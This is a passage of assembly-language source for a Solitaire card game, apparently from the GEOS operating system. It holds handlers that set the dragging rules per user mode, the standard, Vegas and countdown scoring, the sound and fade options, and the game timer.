DeckDragWhichcards structure to pass to foundations EXAMPLE: For BEGINNER_MODE, pass in: cx = DDWC_UNTIL_SELECTED dx = DDWC_TOP_ONLY After the handler is through, the tableau elements will allow the user select any of its up cards, and the foundations will allow the user to drag their top cards around, which is what we expect in BEGINNER_MODE. In contrast, setting up ADVANCED_MODE, we would pass: cx = DDWC_TOP_OR_UPS dx = DDWC_NONE Which would make the tableau elements' up cards accessible for dragging only as entire groups, and would make the foundations' cards unaccessible to dragging. CHANGES: all tableauElements get the passed DDWC (OR'd with DA_IGNORE_EXPRESS_DRAG) RETURN: nothing DESTROYED: ax, bx, cx, dx, di PSEUDO CODE/STRATEGY: * Combine the DDWC in cx with the "ignore express drag" bit and send it to the tableau elements * Combine the DDWC in dx with the "ignore double click" bit and send it to the foundations KNOWN BUGS/IDEAS: I decided pretty randomly that foundations should not transfer cards when double clicked since all this could ever do is just move aces around from foundation to foundation. If the user REALLY wants to do this, he can damn well drag them around REVISION HISTORY: Name Date Description ---- ---- ----------- jon 10/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetRules method SolitaireClass, MSG_SOLITAIRE_SET_RULES push dx ; ; Turn the DDWC into a DeckAttrs ; mov dx, cx mov cl, offset DA_DDWC shl dx, cl ORNF dx, mask DA_IGNORE_EXPRESS_DRAG mov cx, dx ; ; Ship of the new DeckAtttrs to the tableauElements ; mov ax, MSG_DECK_SET_ATTRS call CallTableauElements ; ; Turn the DDWC into some DeckAttrs ; pop dx mov cl, offset DA_DDWC shl dx, cl ORNF dx, mask DA_IGNORE_DOUBLE_CLICKS mov cx, dx ; ; Send the DeckAttrs off to the foundations ; mov ax, MSG_DECK_SET_ATTRS call CallFoundations ret SolitaireSetRules endm CallFoundations proc near push ax mov bx, handle Foundation1 mov si, offset Foundation1 mov di, mask MF_FIXUP_DS call ObjMessage pop ax push ax mov bx, handle Foundation2 mov si, offset Foundation2 mov di, mask MF_FIXUP_DS call ObjMessage pop ax push ax mov bx, handle Foundation3 mov si, offset Foundation3 mov di, mask MF_FIXUP_DS call ObjMessage pop ax mov bx, handle Foundation4 mov si, offset Foundation4 mov di, mask MF_FIXUP_DS call ObjMessage ret CallFoundations endp CallTableauElements proc near push ax mov bx, handle TE1 mov si, offset TE1 mov di, mask MF_FIXUP_DS call ObjMessage pop ax push ax mov bx, handle TE2 mov si, offset TE2 mov di, mask MF_FIXUP_DS call ObjMessage pop ax push ax mov bx, handle TE3 mov si, offset TE3 mov di, mask MF_FIXUP_DS call ObjMessage pop ax push ax mov bx, handle TE4 mov si, offset TE4 mov di, mask MF_FIXUP_DS call ObjMessage pop ax push ax mov bx, handle TE5 mov si, offset TE5 mov di, mask MF_FIXUP_DS call ObjMessage pop ax push ax mov bx, handle TE6 mov si, offset TE6 mov di, mask MF_FIXUP_DS call ObjMessage pop ax mov bx, handle TE7 mov si, offset TE7 mov di, mask MF_FIXUP_DS call ObjMessage ret CallTableauElements endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetUserMode %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_GAME_SET_USER_MODE handler for SolitaireClass Sets the User mode for the game, which in turn causes a change in the rules for the decks. See commentation to SolitaireSetRules. CALLED BY: PASS: cl = UserMode CHANGES: KI_userMode <- cl RETURN: nothing DESTROYED: cl, di PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetUserMode method SolitaireClass, MSG_GAME_SET_USER_MODE ; ; Get the user mode ; CallObject UserModeList, MSG_GEN_ITEM_GROUP_GET_SELECTION, MF_CALL mov_tr cx, ax mov di, segment SolitaireClass mov es, di mov di, offset SolitaireClass mov ax, MSG_GAME_SET_USER_MODE call ObjCallSuperNoLock ; ; Now we'll set the rules by changing the DDWC's of the ; tableau elements and the foundations ; mov bl, cl mov cx, DDWC_TOP_OR_UPS mov dx, DDWC_NONE cmp bl, ADVANCED_MODE je setRules mov cx, DDWC_UNTIL_SELECTED cmp bl, INTERMEDIATE_MODE je setRules mov dx, DDWC_TOP_ONLY setRules: mov ax, MSG_SOLITAIRE_SET_RULES call ObjCallInstanceNoLock done:: ret SolitaireSetUserMode endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireGetScoringType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_GET_SCORING_TYPE handler for SolitaireClass Returns the scoring mode of the game. CALLED BY: PASS: nothing CHANGES: RETURN: cl = ScoringType DESTROYED: cl, di PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireGetScoringType method SolitaireClass, MSG_SOLITAIRE_GET_SCORING_TYPE mov cl, ds:[di].KI_scoringType ret SolitaireGetScoringType endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetScoringType %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_SET_SCORING_TYPE handler for SolitaireClass Sets the scoring type for the game CALLED BY: PASS: cl = ScoringType CHANGES: KI_scoringType <- cl RETURN: nothing DESTROYED: ax, bx, cx, dx, di PSEUDO CODE/STRATEGY: set scoring type if scoring type is ST_NONE, disable score diplays else enavle score displays KNOWN BUGS/IDEAS: when score displays (or time displays) are enabled, the geometry is screwed until you resize the window REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetScoringType method SolitaireClass, MSG_SOLITAIRE_SET_SCORING_TYPE ; ; Get scoring mode ; push si mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION mov bx, handle ScoringList mov si, offset ScoringList mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage ;aX <- excl = ScoringType pop si mov_tr cx, ax mov di, ds:[si] add di, ds:[di].Solitaire_offset mov ds:[di].KI_scoringType, cl push si mov ax, MSG_GEN_SET_USABLE mov bx, handle ScoreDisplay mov si, offset ScoreDisplay mov di, mask MF_FIXUP_DS mov dl, VUM_NOW cmp cl, ST_VEGAS jle hideOrShowDisplay mov ax, MSG_GEN_SET_NOT_USABLE hideOrShowDisplay: call ObjMessage pop si CheckHack <ST_STANDARD_TIMED eq 0 > mov ax, MSG_SOLITAIRE_TURN_TIME_ON jcxz startTimer mov ax, MSG_SOLITAIRE_TURN_TIME_OFF startTimer: push cx call ObjCallInstanceNoLock pop cx checkStandard:: cmp cl, ST_STANDARD_UNTIMED mov ax, MSG_SOLITAIRE_SETUP_STANDARD_SCORING jle setup mov ax, MSG_SOLITAIRE_SETUP_ST_VEGAS cmp cl, ST_VEGAS je setup cmp cl, ST_COUNTDOWN jne done mov ax, MSG_SOLITAIRE_SETUP_ST_COUNTDOWN setup: call ObjCallInstanceNoLock done: ; ; Show the new score ; mov di, ds:[si] add di, ds:[di].Game_offset mov cx, ds:[di].GI_score clr dx mov ax, MSG_GAME_UPDATE_SCORE call ObjCallInstanceNoLock ret SolitaireSetScoringType endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetFadeStatus %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_SET_FADE_STATUS handler for SolitaireClass turns fading either on or off CALLED BY: PASS: nothing CHANGES: turns time on or off RETURN: nothing DESTROYED: ax, cx, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: anyway to get TimeGameEntry to send different methods depending on its own state? REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetFadeStatus method SolitaireClass, MSG_SOLITAIRE_SET_FADE_STATUS CallObject FadeList, MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS,MF_CALL mov dl, SDM_100 ;SDM_100 = no fading test al, 1 jz setStatus mov dl, SDM_0 ;SDM_0 = full fading setStatus: mov cl, -4 ; (SDM_12_5 - SDM_0)/2 ; ; At this point, dl = initial fade mask ; cl = incremental fade mask ; mov ax, MSG_GAME_SET_FADE_PARAMETERS call ObjCallInstanceNoLock ret SolitaireSetFadeStatus endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetSoundStatus %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_SET_SOUND_STATUS handler for SolitaireClass turns sound either on or off CALLED BY: PASS: nothing CHANGES: turns sound on or off RETURN: nothing DESTROYED: ax, cx, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dhunter 2/5/2000 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetSoundStatus method SolitaireClass, MSG_SOLITAIRE_SET_SOUND_STATUS ; Truly, this is easy. CallObject SoundList, MSG_GEN_BOOLEAN_GROUP_GET_SELECTED_BOOLEANS,MF_CALL PointDi2 Game_offset and al, 1 ;filter through mute bit mov ds:[di].KI_muteSound, al ret SolitaireSetSoundStatus endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireTurnTimeOn %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_TURN_TIME_ON handler for SolitaireClass Enables the time display and initializes the timer CALLED BY: PASS: nothing CHANGES: KI_timeStatus <- TIME_ON A timer is started to send MSG_SOLITAIRE_ONE_SECOND_ELAPSED's to MySolitaire every guess-how-often. RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireTurnTimeOn method SolitaireClass, MSG_SOLITAIRE_TURN_TIME_ON mov ds:[di].KI_timeStatus, TIME_ON ; ; Enable the time display ; mov dl, VUM_NOW CallObject TimeDisplay, MSG_GEN_SET_USABLE, MF_FIXUP_DS ; ; Set up the timer 'n stuff ; mov ax, MSG_SOLITAIRE_INITIALIZE_TIME GOTO ObjCallInstanceNoLock SolitaireTurnTimeOn endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireTurnTimeOff %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_TURN_TIME_OFF handler for SolitaireClass Sets KI_timeStatus to TIME_OFF, disables any active timers, and disables the time displays. CALLED BY: PASS: nothing CHANGES: KI_timeStatus <- TIME_OFF KI_timerHandle <- 0 timer that was in KI_timerHandle (if any) is stopped time displays are disabled. RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireTurnTimeOff method SolitaireClass, MSG_SOLITAIRE_TURN_TIME_OFF mov ds:[di].KI_timeStatus, TIME_OFF ; ; If there's a timer going, we need to stop it ; clr bx xchg bx, ds:[di].KI_timerHandle tst bx jz hideTime clr ax ; 0 => continual call TimerStop hideTime: mov dl, VUM_NOW CallObjectNS TimeDisplay, MSG_GEN_SET_NOT_USABLE, MF_FIXUP_DS ret SolitaireTurnTimeOff endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireInitializeScore %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_INITIALIZE_SCORE handler for SolitaireClass Figures out what the intial score should be depending on the scoring type, then calls MSG_GAME_UPDATE_SCORE CALLED BY: PASS: nothing CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireInitializeScore method SolitaireClass, MSG_SOLITAIRE_INITIALIZE_SCORE mov ax, MSG_SOLITAIRE_GET_SCORING_TYPE call ObjCallInstanceNoLock ;cl <- scoring type cmp cl, ST_STANDARD_UNTIMED ;standard scoring? jg notStandard mov ax, MSG_SOLITAIRE_SETUP_STANDARD_SCORING call ObjCallInstanceNoLock mov cx, INITIAL_STANDARD_SCORE jmp init notStandard: cmp cl, ST_VEGAS ;vegas scoring? jne endSolitaireInitializeScore ;default to no scoring mov ax, MSG_SOLITAIRE_SETUP_ST_VEGAS call ObjCallInstanceNoLock clr cx init: clr dx mov ax, MSG_GAME_UPDATE_SCORE call ObjCallInstanceNoLock endSolitaireInitializeScore: PointDi2 Deck_offset mov ax, ds:[di].GI_score mov ds:[di].GI_lastScore, ax ret SolitaireInitializeScore endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetupStandardScoring %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_SETUP_STANDARD_SCORING handler for SolitaireClass Sets up all the decks so that the points they award/penalize for etc. correspond to standard scoring. CURRENT STANDARD SCORING: * Lose 1 point every 10 seconds. * For Talon: 5 point for removing a card * For Foundations: 10 points for adding a card -15 points for removing a card * For Tableau Elements: 5 points for flipping a card * For returning all the cards from talon to hand: 10 * (# drawCards) - 40 CALLED BY: PASS: nothing CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetupStandardScoring method SolitaireClass,MSG_SOLITAIRE_SETUP_STANDARD_SCORING mov ds:[di].GI_score, INITIAL_STANDARD_SCORE if 0 ; ; Set current hi score file = vegas ; push es:[standardHiScoreFile] pop es:[currentHiScoreFile] mov es:[currentHiScoreFileNamePtr], offset standardHiScoreFileName ; ; Set Time high score column usable, score column unusable ; mov dl, VUM_NOW CallObject HighScoreScoreGroup, MSG_GEN_SET_USABLE, MF_FIXUP_DS CallObject HighScoreTimeGroup, MSG_GEN_SET_USABLE, MF_FIXUP_DS endif ; ; Set up the hand's score values ; mov cx, SS_HAND_PUSH mov dx, SS_HAND_POP mov bp, SS_HAND_FLIP CallObject MyHand, MSG_DECK_SET_POINTS, MF_FIXUP_DS ; ; Compute the cost of returning all the cards from the talon ; to the hand. Formula is: ; ; 10 * (drawCards) - 40 ; PointDi2 Game_offset clr ah mov al, ds:[di].KI_drawNumber mov bp, 10 mul bp sub ax, 40 mov bp, ax mov cx, SS_TALON_PUSH mov dx, SS_TALON_POP CallObject MyTalon, MSG_DECK_SET_POINTS, MF_FIXUP_DS ; ; Set Foundation score values ; mov cx, SS_FOUNDATION_PUSH mov dx, SS_FOUNDATION_POP mov bp, SS_FOUNDATION_FLIP mov ax, MSG_DECK_SET_POINTS call CallFoundations ; ; Set tableau element score values ; mov cx, SS_TABLEAU_PUSH mov dx, SS_TABLEAU_POP mov bp, SS_TABLEAU_FLIP mov ax, MSG_DECK_SET_POINTS call CallTableauElements ret SolitaireSetupStandardScoring endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireSetupVegasScoring %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_SETUP_ST_VEGAS handler for SolitaireClass Sets up all the decks so that the points they award/penalize for etc. correspond to vegas scoring. CURRENT VEGAS SCORING: * Lose 52 points for each new game * Get 5 points for each card played to foundations CALLED BY: PASS: nothing CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 11/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireSetupVegasScoring method SolitaireClass,MSG_SOLITAIRE_SETUP_ST_VEGAS ; ; score <- cash ; mov ds:[di].GI_score, INITIAL_VEGAS_SCORE if 0 ; ; Set current hi score file = vegas ; push es:[vegasHiScoreFile] pop es:[currentHiScoreFile] mov es:[currentHiScoreFileNamePtr], offset vegasHiScoreFileName ; ; Set Time high score column usable, score column unusable ; mov dl, VUM_NOW CallObject HighScoreScoreGroup, MSG_GEN_SET_USABLE, MF_FIXUP_DS CallObject HighScoreTimeGroup, MSG_GEN_SET_NOT_USABLE, MF_FIXUP_DS endif mov cx, VS_HAND_PUSH mov dx, VS_HAND_POP mov bp, VS_HAND_FLIP CallObjectNS MyHand, MSG_DECK_SET_POINTS, MF_FIXUP_DS mov cx, VS_TALON_PUSH mov dx, VS_TALON_POP mov bp, VS_TALON_FLIP CallObjectNS MyTalon, MSG_DECK_SET_POINTS, MF_FIXUP_DS mov cx, VS_FOUNDATION_PUSH mov dx, VS_FOUNDATION_POP mov bp, VS_FOUNDATION_FLIP mov ax, MSG_DECK_SET_POINTS call CallFoundations mov cx, VS_TABLEAU_PUSH mov dx, VS_TABLEAU_POP mov bp, VS_TABLEAU_FLIP mov ax, MSG_DECK_SET_POINTS call CallTableauElements ret SolitaireSetupVegasScoring endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireInitializeTime %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_INITIALIZE_TIME handler for SolitaireClass Clears # of seconds elapsed, stops any existing timers, then starts a new one. CALLED BY: PASS: nothing CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireInitializeTime method SolitaireClass, MSG_SOLITAIRE_INITIALIZE_TIME ; ; reset the number of seconds ; cmp ds:[di].KI_scoringType, ST_COUNTDOWN jne checkStandard mov ax, ds:[di].KI_countdownTime mov ds:[di].KI_time, ax jmp updateDisplay checkStandard: cmp ds:[di].KI_scoringType, ST_STANDARD_TIMED jne done mov ax, SS_SECONDS_PER_TAX inc ax ;one more, so ;that the first ;tax doesn't ;occur one ;second early mov ds:[di].KI_countdownTime, ax clr ds:[di].KI_time ;default to 0 updateDisplay: mov ds:[di].KI_timeStatus, TIME_ON mov ax, MSG_SOLITAIRE_UPDATE_TIME call ObjCallInstanceNoLock ; ; check to see if we already have a timer ; mov di, ds:[si] add di, ds:[di].Solitaire_offset mov cx, ds:[di].KI_timerHandle jcxz startTimer done: ret startTimer: mov bx, ds:[LMBH_handle] mov al, TIMER_EVENT_CONTINUAL ;Timer Type mov dx, MSG_SOLITAIRE_ONE_SECOND_ELAPSED ;what method to send? mov di, ONE_SECOND ;how often? call TimerStart PointDi2 Game_offset mov ds:[di].KI_timerHandle, bx ;keep track of the timer handle ;so we can shut the damn thing ;off when needed. jmp done SolitaireInitializeTime endm SolitaireSetCountdownTime method SolitaireClass, MSG_SOLITAIRE_SET_COUNTDOWN_TIME call SolitairePauseTimer push si mov bx, handle CountdownBox mov si, offset CountdownBox call UserDoDialog pop si call SolitaireUnpauseTimer ; edwdig - was IC_APPLY, changed due to dialog type change cmp ax, IC_OK jne cancel if 0 mov ax, MSG_SOLITAIRE_SETUP_ST_COUNTDOWN call ObjCallInstanceNoLock endif mov cx, ST_COUNTDOWN mov ax, MSG_SOLITAIRE_USER_REQUESTS_SCORING_TYPE_CHANGE call ObjCallInstanceNoLock done: ret cancel: ; ; Need to reset the Minute and Second range objects to original values. ; mov di, ds:[si] add di, ds:[di].Solitaire_offset mov cx, ds:[di].KI_totalCountdownTime mov ax, MSG_SOLITAIRE_SET_UI_COUNTDOWN_SECONDS call ObjCallInstanceNoLock ; ; Need to clear modified state in the Minute and Second range ; objects so that OK trigger will be enabled if they are changed ; the next time the dialog is put up. IC_DISMISS doesn't do this ; for us. -- jwu 9/23/93 ; ; edwdig - not needed anymore since the ok trigger is now ; always enabled, hence, modified state doesn't matter. if 0 mov ax, MSG_GEN_VALUE_SET_MODIFIED_STATE clr cx ; set to not modified mov di, mask MF_CALL or mask MF_FIXUP_DS push ax, cx, di ; save for SecondRange GetResourceHandleNS MinuteRange, bx mov si, offset MinuteRange call ObjMessage pop ax, cx, di ; msg, params... GetResourceHandleNS SecondRange, bx mov si, offset SecondRange call ObjMessage endif ; edwdig - Death can pop up at times when we don't want him to... ; So, let's just always set him not usable while we're here GetResourceHandleNS TooEasyInteraction, bx mov si, offset TooEasyInteraction mov ax, MSG_GEN_SET_NOT_USABLE mov di, mask MF_CALL or mask MF_FIXUP_DS mov dl, VUM_DELAYED_VIA_UI_QUEUE call ObjMessage mov dl, VUM_NOW CallObject CountdownBox, MSG_GEN_RESET_TO_INITIAL_SIZE, MF_FIXUP_DS jmp short done SolitaireSetCountdownTime endm SolitaireSetupCountdownScoring method SolitaireClass, MSG_SOLITAIRE_SETUP_ST_COUNTDOWN if 0 ; ; Set current hi score file = countdown ; push es:[countdownHiScoreFile] pop es:[currentHiScoreFile] mov es:[currentHiScoreFileNamePtr], offset countdownHiScoreFileName ; ; Set Time high score column usable, score column unusable ; mov dl, VUM_NOW CallObject HighScoreScoreGroup, MSG_GEN_SET_NOT_USABLE, MF_FIXUP_DS CallObject HighScoreTimeGroup, MSG_GEN_SET_USABLE, MF_FIXUP_DS endif mov ax, MSG_SOLITAIRE_GET_COUNTDOWN_SECONDS_FROM_UI call ObjCallInstanceNoLock jcxz noTime mov di, ds:[si] add di, ds:[di].Solitaire_offset mov ds:[di].KI_countdownTime, cx mov ds:[di].KI_totalCountdownTime, cx mov dl, VUM_NOW CallObject TooEasyInteraction, MSG_GEN_SET_NOT_USABLE, MF_FIXUP_DS mov dl, VUM_NOW CallObject CountdownBox, MSG_GEN_RESET_TO_INITIAL_SIZE, MF_FIXUP_DS mov ax, MSG_SOLITAIRE_INITIALIZE_TIME call ObjCallInstanceNoLock mov ax, MSG_SOLITAIRE_TURN_TIME_ON call ObjCallInstanceNoLock done: ret noTime: mov dl, VUM_MANUAL CallObject TooEasyInteraction, MSG_GEN_SET_USABLE, MF_FIXUP_DS mov dl, VUM_NOW CallObject CountdownBox, MSG_GEN_RESET_TO_INITIAL_SIZE, MF_FIXUP_DS ; ; edwdig ; Need to reset the Minute and Second range objects to original values. ; Also need to make sure the timer shows ; mov di, ds:[si] add di, ds:[di].Solitaire_offset mov cx, ds:[di].KI_totalCountdownTime mov ds:[di].KI_countdownTime, cx mov ax, MSG_SOLITAIRE_SET_UI_COUNTDOWN_SECONDS call ObjCallInstanceNoLock mov ax, MSG_SOLITAIRE_INITIALIZE_TIME call ObjCallInstanceNoLock mov ax, MSG_SOLITAIRE_TURN_TIME_ON call ObjCallInstanceNoLock mov ax, MSG_SOLITAIRE_SET_COUNTDOWN_TIME call ObjCallInstanceNoLock jmp done SolitaireSetupCountdownScoring endm SolitaireGetCountdownSecondsFromUI method SolitaireClass, MSG_SOLITAIRE_GET_COUNTDOWN_SECONDS_FROM_UI uses ax, dx .enter CallObjectNS MinuteRange, MSG_GEN_VALUE_GET_VALUE, MF_CALL mov cx, dx clr dx mov ax, 60 mul cx push ax CallObjectNS SecondRange, MSG_GEN_VALUE_GET_VALUE, MF_CALL pop ax add dx, ax mov cx, dx .leave ret SolitaireGetCountdownSecondsFromUI endm SolitaireSetUICountdownSeconds method SolitaireClass, MSG_SOLITAIRE_SET_UI_COUNTDOWN_SECONDS uses ax, cx, dx, bp .enter mov_trash ax, cx clr dx mov cx, 60 div cx mov_trash cx, ax push dx mov dx, cx clr cx, bp CallObjectNS MinuteRange, MSG_GEN_VALUE_SET_VALUE, MF_CALL pop dx clr bp, cx CallObjectNS SecondRange, MSG_GEN_VALUE_SET_VALUE, MF_CALL .leave ret SolitaireSetUICountdownSeconds endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireOneSecondElapsed %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: MSG_SOLITAIRE_ONE_SECOND_ELAPSED handler for SolitaireClass Increments the seconds counter and updates time on the screen. CALLED BY: PASS: nothing CHANGES: increments the seconds counter RETURN: nothing DESTROYED: ax, cx, dx, di PSEUDO CODE/STRATEGY: increment the seconds counter and call MSG_SOLITAIRE_UPDATE_TIME KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 8/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireOneSecondElapsed method SolitaireClass, MSG_SOLITAIRE_ONE_SECOND_ELAPSED ; ; Check to see whether or not the user has made a move. ; If not, disregard the event ; cmp ds:[di].GI_lastDonor.handle, USER_HASNT_STARTED_PLAYING_YET je done cmp ds:[di].KI_timeStatus, TIME_ON jg done mov ax, -1 cmp ds:[di].KI_scoringType, ST_COUNTDOWN je updateTime neg ax updateTime: add ds:[di].KI_time, ax ;one more second... mov ax, MSG_SOLITAIRE_UPDATE_TIME call ObjCallInstanceNoLock done: ret SolitaireOneSecondElapsed endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SolitaireUpdateTime %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Updates the time internally and on screen CALLED BY: PASS: nothing CHANGES: RETURN: nothing DESTROYED: PSEUDO CODE/STRATEGY: sets up score, time then calls TimeToTextObject KNOWN BUGS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- jon 7/90 initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SolitaireUpdateTime method SolitaireClass, MSG_SOLITAIRE_UPDATE_TIME mov cx, ds:[di].KI_time ;cx <- # seconds push si mov di, handle TimeValue mov si, offset TimeValue segmov es, ss push cx ;save time call TimeToTextObject ;write the time pop cx ;cx <- time pop si PointDi2 Game_offset cmp ds:[di].GI_lastDonor.handle, USER_HASNT_STARTED_PLAYING_YET je done cmp ds:[di].KI_scoringType, ST_STANDARD_TIMED je checkPenalty jcxz outOfTime jmp done checkPenalty: dec ds:[di].KI_countdownTime jz penalize done: ret penalize: mov ds:[di].KI_countdownTime, 